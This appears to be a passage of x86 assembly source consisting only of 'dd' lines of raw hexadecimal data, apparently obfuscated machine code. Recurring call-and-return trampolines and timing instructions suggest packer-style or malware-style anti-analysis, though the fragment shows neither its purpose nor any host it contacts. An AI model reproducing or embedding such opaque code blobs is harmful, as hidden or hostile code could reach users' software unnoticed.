		dd 0BE662404h, 1DE9976Ch, 0E9000004h, 0Fh, 47BCF338h, 0F48AF105h
		dd 297F76BAh, 0B08905CFh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C985098Ch
		dd 0E607D300h, 14E970h,	2DA10000h, 0A163C3EAh, 2FC22879h
		dd 65F849A2h, 0F821921h, 71E4741Eh, 89F88B66h, 0D331B1B5h
		dd 0D8B60F07h, 30158501h, 6BA07D3h, 60000000h, 6820Fh
		dd 0BD0B0000h, 7D30315h, 8B61F38Bh, 52006AC3h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 21B50B74h
		dd 0C107D326h, 6A04E8h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0B9E0B7C3h, 6E9DC31h, 0D4000000h
		dd 5AD506A7h, 0E2F766C2h, 0E850D82Bh, 10h, 835E7F35h, 6ADED69Eh
		dd 0B0D89347h, 0A4CE838Eh, 8A0Fh, 5E5E0000h, 0FE993h, 0D8DB0000h
		dd 0EDD31268h, 2260E3FEh, 0A3833975h, 8B0F507Eh, 15h, 6E85250h
		dd 0C9000000h, 0E6FAF6Eh, 310F5F52h, 5AF38B66h,	0D6819358h
		dd 69F0F497h, 269DB5FFh, 6A07D3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 46A6A4C3h, 6AD5164Dh
		dd 0F9BD8B0Ch, 0FF07D32Ch, 0D3301995h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 2F517E49h, 25B58BFBh, 0E807D333h, 0Bh, 0EBC944DBh, 2A2F9A38h
		dd 60934A07h, 14459D8Bh, 8D8907D3h, 7D30A81h, 0B05F61h
		dd 3C38B60h, 0D32A49B5h, 8E96107h, 0D1000000h, 5CC84554h
		dd 0E635F56Fh, 55006A70h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 95ED08F6h, 0DA74DBD6h
		dd 71E4057Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	87C35747h, 775A1817h, 3CF08BCEh, 0D830F61h, 0F000002h
		dd 685h, 55BD8B00h, 0F07D334h, 6AD8B6h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 82CC99C3h
		dd 0EDB53304h
		dd 0BA07D330h, 6, 2985BD8Bh, 0C38B07D3h, 48DCBF51h, 0C15F37C7h
		dd 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0CAA4DC3h, 7E94030h, 0E1000000h, 4705D553h
		dd 95311674h, 7D30D55h,	29E2F766h, 0D333E195h, 6AD82B07h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0B0FCC355h, 68493202h, 840F1DADh,	0
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 6DAEFE9Eh, 6EE7ADFAh, 0BD8B99BDh, 7D32E49h
		dd 880FD82Bh, 128h, 0EE9h, 587E1E00h, 6C004A02h, 626A8BDDh
		dd 8B8FAF0Eh, 0D3066DBDh, 7B907h, 8E90000h, 42000000h
		dd 0CA7D280Ah, 83D9078Fh, 9D2900C1h, 7D30681h, 860FD93Bh
		dd 0ECh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	13C35343h, 0F7C896E8h, 97DF81FDh, 0B98BBFF1h, 8C6664D6h
		dd 8B6656D9h, 0C1F65EF0h, 97840F04h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0FAEFC352h, 66D5D6B7h, 0BBEFE8Bh, 0FF5A7FEEh, 0D3261D95h
		dd 1EE68107h, 5B662649h, 3DF9C32Bh, 834h, 54860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 64E881C3h, 0EB6A2A88h, 24BF3023h, 0E96C4FB6h, 40h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 9CC35141h, 5E9h
		dd 0A0CBCC00h, 0C08B3025h, 2631BD89h, 0DE907D3h, 0A4000000h
		dd 3C87EE53h, 56B9AF28h, 91D4CB80h, 0D88BC38Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 3FC35141h, 8AF35E6Fh
		dd 5585C70Eh, 5707D317h, 661F166Bh, 8B2A33BEh, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0D489FFBFh, 684618Fh, 8C0FDE64h, 6, 15C98589h, 0BD8107D3h
		dd 7D3269Dh, 7D0h, 5D850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 85295DC3h
		dd 7D32041h, 1FB18589h,	9D0907D3h, 7D32BDDh, 269D85FFh
		dd 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0C5603CC3h, 0FD6AACBEh, 1D9589D6h, 0FF07D31Ch
		dd 0D3269DB5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 95FF1144h, 7D33019h, 73D78166h
		dd 6A9038h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 6C14CBC3h, 9EBE1691h, 817B3A43h, 44A73EDFh
		dd 11B50B41h, 0F07D31Ch, 0BD8BF9BFh, 7D329EDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 16C35242h, 78F001h
		dd 9B80864Ah, 0F7B70FE6h, 34698D29h, 666007D3h,	612EDEBAh
		dd 2114BE66h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	96C35545h, 0AA903950h, 0DB7ABE66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 61C35343h, 0B50138D7h
		dd 7D313A1h, 3E68166h, 3860F10h, 66000000h, 5757F98Bh
		dd 81665F56h, 5E47BEF7h, 5061F2BEh, 6A5F0Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 659D11C3h
		dd 0D8500FF4h, 0E6816647h, 0BD8BF5C0h, 7D3195Dh, 0FFF798E9h
		dd 0E68166FFh, 0B589B3B5h, 7D30675h, 6AC18Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3610FEC3h
		dd 364E526Dh, 4EBh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0EA91F8C3h, 69B58BBFh
		dd 0F07D30Eh, 858DFBB7h, 7D31C71h, 27318509h, 895007D3h
		dd 0B58B2404h, 7D31A51h, 9D29006Ah, 7D31C91h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0B72874C3h, 0E2D40674h, 90ECD17h, 0D32E81B5h, 3890F07h
		dd 0F000000h, 858DF8B7h, 7DC9300h, 6A05C083h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 6195C356h, 0A3CC68D2h, 8B4404D1h, 3DC7BFF0h,	0BD8B6E19h
		dd 7D31CEDh, 0EE990h, 0CE1E0000h, 598D5399h, 0B619FD3Fh
		dd 78C72B3Bh, 28E0F50h,	8B000000h, 6A90FEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 74C35747h, 0AA398A34h
		dd 6A8CC0B0h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 6E963h, 6E1C0000h, 1D1370E4h, 87FBC5BFh
		dd 4D95FF3Ah, 6A07D32Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 9E1C350h, 0D316E585h
		dd 0B09D8D07h, 6A07DC29h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 2798C353h, 7CD12B9Dh
		dd 0FF6D8755h, 0F8F4BFD3h, 85FF1F82h, 7D32CCDh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FCC35343h, 0E8529BDDh
		dd 7, 6A737492h, 66C6CA1Ah, 5EF1A5BFh, 842E95Eh, 0E80000h
		dd 5D000000h, 930AED81h, 6A07DCh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0F0F79C3h, 9589D145h
		dd 7D309B5h, 269DBD81h,	7D007D3h, 860F0000h, 192h, 0FED68166h
		dd 659D8BBDh, 6A07D334h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0E4BAC351h,	1AB5AA0Ch
		dd 75BD8B0Bh, 8107D30Ah, 100E3h, 0FA8B6600h, 850FDB0Bh
		dd 0D7h, 7DDE8166h, 45BD8328h, 7DC91h, 72840Fh,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 830F12C3h, 8, 43D78150h, 5E7E6A4Bh, 0EE9h, 1A1D6700h
		dd 0F697EE63h, 6ACBCEE0h, 0E99DE722h, 9Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 3EC35242h, 4AAF5C2h
		dd 6656F6A7h, 295EFE8Bh, 0D32BE5B5h, 5EF85307h,	914585C7h
		dd 107DCh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0AF5E73C3h, 379BCF1Fh, 0F3B70F57h
		dd 38E95Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0C74177C3h, 0DC914585h, 7, 0CE900h
		dd 0DBBC0000h, 450B3DCAh, 0D5CBDF45h, 9D8D54CDh, 7D33465h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 54C35040h
		dd 0B93B8C39h, 7B0123CAh, 0EBC781E4h, 812AAE10h, 0FFFEFF23h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0AB6022CDh, 2CE1BD8Bh, 8C6607D3h, 0C3F6F8DBh
		dd 5B840F04h, 66000000h, 95FFF28Bh, 7D3261Dh, 0C5BD2353h
		dd 5E07D32Dh, 52525050h, 0F5E6160h, 9E831h, 56BC0000h
		dd 0B583CBADh, 600B6479h, 585A5F61h, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0BDDAC355h, 0AF79EE2Dh, 2DE78166h, 0CFBBBF47h, 13E91722h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0A8CC355h, 0F4DD17F2h,	0B0C866A7h
		dd 3870F00h, 66000000h,	12E8F08Bh, 0F3000000h, 2CD4B823h
		dd 92B70669h, 0A9F1A207h, 67B89C8Ah, 11E902h, 3F140000h
		dd 4D19E20Eh, 6E939D1Fh, 10685611h, 5EBBD1F0h, 810F70E6h
		dd 8
		dd 850F60h, 61000000h, 13E871E4h, 0B8000000h, 0B92D3A9h
		dd 532CB680h, 0FC1FE676h, 0E19872DAh, 0BE661689h, 0F5F91E6h
		dd 0BD8BD8B6h, 7D32591h, 6BAh, 6AC38B00h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 66B9C353h
		dd 3AE590BAh, 81664A2Fh, 0C1F076DFh, 6A04E8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0F6015C3h
		dd 9D2BC8B7h, 7D32DADh,	0E2F76661h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 9EC35343h, 2BE31E24h, 0C1DABED8h
		dd 89505CA0h, 7E9241Ch,	0B6000000h, 56A2CADEh, 0BD29C1FBh
		dd 7D33475h, 269DB5FFh,	6A07D3h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 773C44C3h, 88A07890h
		dd 37EF8166h, 1995FFF3h, 6A07D330h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 23B8C350h
		dd 9E956AFh, 92000000h,	1AA11296h, 0E26236DFh, 6A00B05Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0FDA1C352h, 95894D9Bh, 7D300C9h, 6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 31764C3h, 0D30095BDh, 6A71E407h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 74CEC355h
		dd 4E0BD00Fh, 12B68E4Dh, 24D8D89h, 613C07D3h, 204830Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 5D5FE5C3h, 35BD89FBh, 0F07D30Ah, 0BD89D8B6h
		dd 7D309E5h, 6BAh, 0F59D8900h, 8B07D314h, 51006AC3h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0C1F18B3Bh, 6A04E8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 89A046C3h, 0D3169185h, 21B58B07h
		dd 6607D325h, 0BF66E2F7h, 0D82BADE1h, 1785BD8Bh, 565807D3h
		dd 5EF6B70Fh, 880FD82Bh, 162h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 8FC35747h, 8A3B2716h, 893C3566h
		dd 0D302BD95h, 7B907h, 0BF660000h, 0C183CDAFh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 3B786E88h, 7860FD9h,	6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 186CC355h
		dd 2611BD8Bh, 8C6607D3h, 0F6F28BD9h, 840F04C1h,	0B3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 1FC35141h, 95FF003Ch
		dd 7D3261Dh, 2353F78Bh,	0D32A6DB5h, 6A5B5F07h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0EF3CC350h, 29E9C702h, 840F6001h, 17h, 11E8h, 337A400h
		dd 0D1BC4510h, 0E078506Fh, 96A63430h, 505FE1CEh, 0C32B6159h
		dd 0AE9h, 8A8E1900h, 0B1F39B5Bh, 3DB35DA7h, 834h, 25860Fh
		dd 43E90000h, 60000000h, 14E9h,	0C11BCF00h, 0DC72675h
		dd 749F17F4h, 85454BAEh, 4B80D6B8h, 1092BB87h, 8B611A59h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 5F2C6250h, 0C38B73DAh, 0DF81D88Bh, 26324720h
		dd 34C985C7h, 0EB5507D3h, 10E813F6h, 96000000h,	4644F259h
		dd 6AB7EE43h, 0F64F42D6h, 897F8448h, 0D3034D95h, 0C08B5E07h
		dd 269DBD81h, 7D007D3h,	850F0000h, 2Eh,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0E8C35545h, 335DB58Bh
		dd 85FF07D3h, 7D3269Dh,	2FB5B501h, 0B5FF07D3h, 7D3269Dh
		dd 144DB589h, 95FF07D3h, 7D33019h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 11C35747h, 0A8323B2Fh, 91FB8687h
		dd 0D1B5890Bh, 9007D32Dh, 0C840Fh, 0BD8B0000h, 7D30B15h
		dd 805B58Bh, 6A07D3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 8D8CABC3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0DCC35040h,	0CAE837D3h, 1EA5B533h
		dd 11E907D3h, 46000000h, 9EB4575Bh, 0F1B362C1h,	0D53648C8h
		dd 0FF8BF08Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	42C35747h, 459CCD2Dh, 18EDB58Bh, 0BD8907D3h, 7D31CE5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 2AC35141h
		dd 4B8516FDh, 8B6A8DCAh, 0D31909B5h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 27BE0EE3h
		dd 8CBA6A13h, 4DB58B72h, 6007D317h, 1231BD89h, 8D8907D3h
		dd 7D31345h, 16DDBD2Bh,	0B70F07D3h, 9E861DBh, 0F7000000h
		dd 310934C9h, 9E7BB38Ch, 8E9h, 42BFDA00h, 0C268685Eh, 0CE9EFh
		dd 798C0000h, 3401722Dh, 30148F41h, 8B5E27D8h, 0D31B29BDh
		dd 0F7C4E907h, 0BD8BFFFFh, 7D32B39h, 8060C18Bh,	0BD899BCAh
		dd 7D30E61h, 9E861h, 0C2B10000h, 874DF11Eh, 0F2921D5h
		dd 682h, 99BD2300h, 5F07D313h, 4EBh, 0CE90000h,	83000000h
		dd 875F4F21h, 59330057h, 6AB1C535h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0BB6CC352h
		dd 97AA260Eh, 11B50112h, 8B07D30Fh, 0D3242DB5h,	71858D07h
		dd 6A07D31Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B92C356h, 0D30221B5h,	9D9D0907h
		dd 9007D334h, 6E850h, 0ED5D0000h, 35A43AD8h, 72F3BE66h
		dd 6A905Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 66F9C4C3h, 890F607Ah, 3, 0F9DBBF0Fh, 6A006A61h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0CFFCC350h, 6A40A73Eh, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 202785BAh
		dd 858DB61Fh, 7DC9D44h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0CFC35343h, 417743C5h, 0C03B5568h, 2D958961h
		dd 8307D32Eh, 6A05C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 67E065C3h, 0E0CDA93Ah, 9067FA3Fh
		dd 50F28B66h, 0FEEA71BEh, 6E89026h, 0D3000000h,	1FCCE47Ah
		dd 0AE942h, 0A7D50000h,	0DC642C61h, 1A00A8D5h, 6A006A5Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F3AC352h, 0BF66F8B7h, 6A173Bh, 2B9D9509h
		dd 95FF07D3h, 7D32F4Dh,	8D5FF551h, 0DC29B09Dh, 0BE807h
		dd 0B7510000h, 662F2F7h, 5F99C23Ah, 0D3FF5FE1h,	2CCD85FFh
		dd 0B58B07D3h, 7D30111h, 31DE8166h, 9BBE93Bh, 0E80000h
		dd 5D000000h, 9D4EED81h, 6A07DCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 814358C3h, 0D3269DBDh
		dd 7D007h, 7A860F00h, 0E8000001h, 0Fh, 0DDEF7D57h, 5C1B1CDCh
		dd 6CA522B0h, 5E04D410h, 3251B589h, 9D8B07D3h, 7D30D15h
		dd 331DB58Bh, 0E38107D3h
		dd 100h, 0B5895660h, 7D32FC9h, 0A5B58959h, 6107D30Dh, 850FDB0Bh
		dd 9Ah,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h
		dd 0A5C35343h, 71BD8313h, 7DC9Bh, 33840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 910005C3h, 6AF3BEC2h, 306DBD33h, 6FE907D3h, 8B000000h
		dd 0D307CDBDh, 7185C707h, 107DC9Bh, 81000000h, 5B1D13D6h
		dd 54E925h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0F5DFAFC3h, 0EFC57325h, 18719D89h
		dd 85C707D3h, 7DC9B71h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 14C35141h
		dd 5ABC386Dh, 9D8DBA83h, 7D30D15h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0FC35545h, 8E8BBh, 2BE50000h
		dd 0F55973F9h, 0CF811E7Fh, 4DA9DCF7h, 0EF81665Eh, 23810292h
		dd 0FFFFFEFFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0BFC35545h, 33C453DAh, 8E0F675Dh, 5, 80D78166h
		dd 0DB8C6607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	5AC35747h, 0F22B6887h, 13E9h, 0B41DF100h, 0CBD04FCCh
		dd 28D6D084h, 347129B9h, 0C4190BF1h, 0FE9h, 0E5ACCF00h
		dd 4043809Eh, 82BEC357h, 8592FD8Eh, 12E860h, 9BC0000h
		dd 776CB2A9h, 0BFE04DC0h, 84256C08h, 4378F7Ah, 53D9F181h
		dd 0FC5F5702h, 4C3F661h, 0AB840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 9879B1C3h
		dd 0BFA8E50Eh, 4D704551h, 261D95FFh, 6A07D3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 6FFBE4C3h
		dd 3E53B45Ah, 0F68166C3h, 958910A6h, 7D31325h, 52505050h
		dd 310FF38Bh, 11E9h, 6A8BDD00h,	8FAF0E62h, 0E71EC012h
		dd 4286EC89h, 585AB81Fh, 2404895Eh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0DBC35747h,	46F9E4BDh, 0B5BD8BEEh
		dd 8B07D303h, 0D30095BDh, 4CFE907h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 939133C3h
		dd 27789D62h, 0B058BDh,	6A70E6F9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 1733C357h
		dd 3DBD8BD4h, 0E407D307h, 53006A71h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 66EF60C6h
		dd 892A6800h, 0D32521B5h, 0CD853107h, 0F07D318h, 0BF66D8B6h
		dd 13E84E56h, 59000000h, 1AE799BAh, 0AFEE225h, 0E6C9091Ch
		dd 190201B8h, 8D0F122Dh, 17h, 12E9h, 4607B600h,	0DB54BFDCh
		dd 6829AE22h, 96EF108Dh, 5F2FC195h, 6BAh, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0C5A1709h, 8B3E48C0h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 317A2EA2h, 8913495Fh
		dd 0D30A5D8Dh, 4E8C107h, 0EAE38160h, 60511442h,	61F28B66h
		dd 0E2F76661h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	29C35242h, 3A045F96h, 0D82B0D28h, 3385BD33h, 669307D3h
		dd 50A8E7BEh, 0BE525057h, 6A328F66h, 11E9310Fh,	1000000h
		dd 7EE82B4Eh, 0FFAC69E2h, 4A0BEC1Ch, 44BAF2BFh,	935E585Ah
		dd 43FACE81h, 0B5FF2560h, 7D3269Dh, 860F56h, 5F000000h
		dd 301995FFh, 6A07D3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 2EEC91C3h, 0CE28D55Ch, 0B5098E83h
		dd 7D31A75h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 30293C3h, 0CF8166EDh, 70E6AE5Ch
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 85C35646h
		dd 0F729B743h, 71E4E124h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 9DC35040h, 10B9D15Eh,	10ED057Bh, 48E0Fh
		dd 0BF660000h, 613C524Ch, 297830Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0FC3AF1C3h
		dd 6AD8B60Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 4F64C353h, 0E06D2CD8h,	2FBD8D09h
		dd 6BA07D3h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0AF77C353h,	64C873Eh
		dd 0BFF1807Ch, 10E8h, 9F04E200h, 3540F11Bh, 331F6F6h, 814D932Ah
		dd 0BF0F608Fh, 0C3B70FC9h, 0B70F5F61h, 0C38BF8F8h, 6A04E8C1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0EA56C350h, 0DE9805Eh, 53000000h,	0D39EB622h
		dd 917F6E99h, 0C000CEC7h, 6AE2F766h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8922C355h
		dd 0D302A58Dh, 6AD82B07h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 438AC355h, 8D8B6092h
		dd 7D30C61h, 1B298D03h,	586107D3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0DC35242h, 801F1A61h, 7F9D937Ah
		dd 2BFAB70Fh, 4A880FD8h, 60000001h, 0D4DBD01h, 61FC07D3h
		dd 7B9h, 0BF78100h, 8331810Dh, 6A00C1h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 3BB7CAC3h
		dd 0E860FD9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0E125C353h,	966C438Ch
		dd 95899A44h, 7D32085h,	53D98C66h, 2BEDBD8Bh, 0F65F07D3h
		dd 840F04C1h, 0A4h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 9EC35343h, 0BF5E0385h, 0BFF98B66h, 51A33698h
		dd 261D95FFh, 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0A83713C3h, 0E1DF7B52h, 233DBD89h
		dd 235B07D3h, 0D32F35BDh, 6AC32B07h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 60A1C350h
		dd 2E959523h, 0BF0F07D3h, 0BE6661CFh, 343DA6C5h, 0F000008h
		dd 0F86h, 0F0BE6600h, 33E9ABh, 8D890000h, 7D30ED1h, 6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0AB6F6C3h, 4F519E44h, 0F3A850Fh, 0BF0FF8BFh,	8BC38BF9h
		dd 53006AD8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0B96ABEF1h, 85C74263h, 7D33465h,	708A31D9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3FC35040h
		dd 0E8BC5CC7h, 5, 0F6997C7h, 0EF81667Fh, 8B5EB34Bh, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 9130C3F1h, 89A4F8D2h, 0D31535B5h, 9DBD8107h,	0D007D326h
		dd 0F000007h, 1785h, 2D9D8900h,	0FF07D31Ch, 0D3269D85h
		dd 6E907h, 0EDA70000h, 86672CAAh, 269DB5FFh, 0B0BF07D3h
		dd 0FF5ADB28h, 0D3301995h, 6890F07h, 0B000000h,	0D31D79BDh
		dd 8E0F9007h, 6, 0E11BD8Bh, 0FE807D3h, 80000000h, 8CFF9CDFh
		dd 34DED881h, 0E9FC2464h, 11E9E480h, 36000000h,	0A7BFFE1h
		dd 7137297h, 0B70E7A1Dh, 0B5E98B0Ah, 11E85Fh, 74F50000h
		dd 21E98FCCh, 57798675h, 0AC434C32h, 0E8E60D79h, 6, 78CB049Eh
		dd 0BD0B8B55h, 7D3305Dh, 0E95FFB8Bh, 11h, 0CBBD8058h, 8192E1F3h
		dd 0CA253266h, 561EE1C7h, 6A5F8Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8BEF87C3h, 0D3099DBDh
		dd 39B58B07h, 6A07D30Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0DF5EC356h
		dd 593CA6AAh, 8D012228h, 7D331B5h, 0C3E1BF66h, 0D198529h
		dd 8C0F07D3h, 6, 3CD9D09h, 8B5607D3h, 0D3032DB5h, 6A5E07h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C75646C3h, 89AC51FDh, 0D31BA585h, 0AEF8107h, 896C81F7h
		dd 0D3067D9Dh, 0F668E907h, 6AFFFFh, 3E853h, 5B200000h
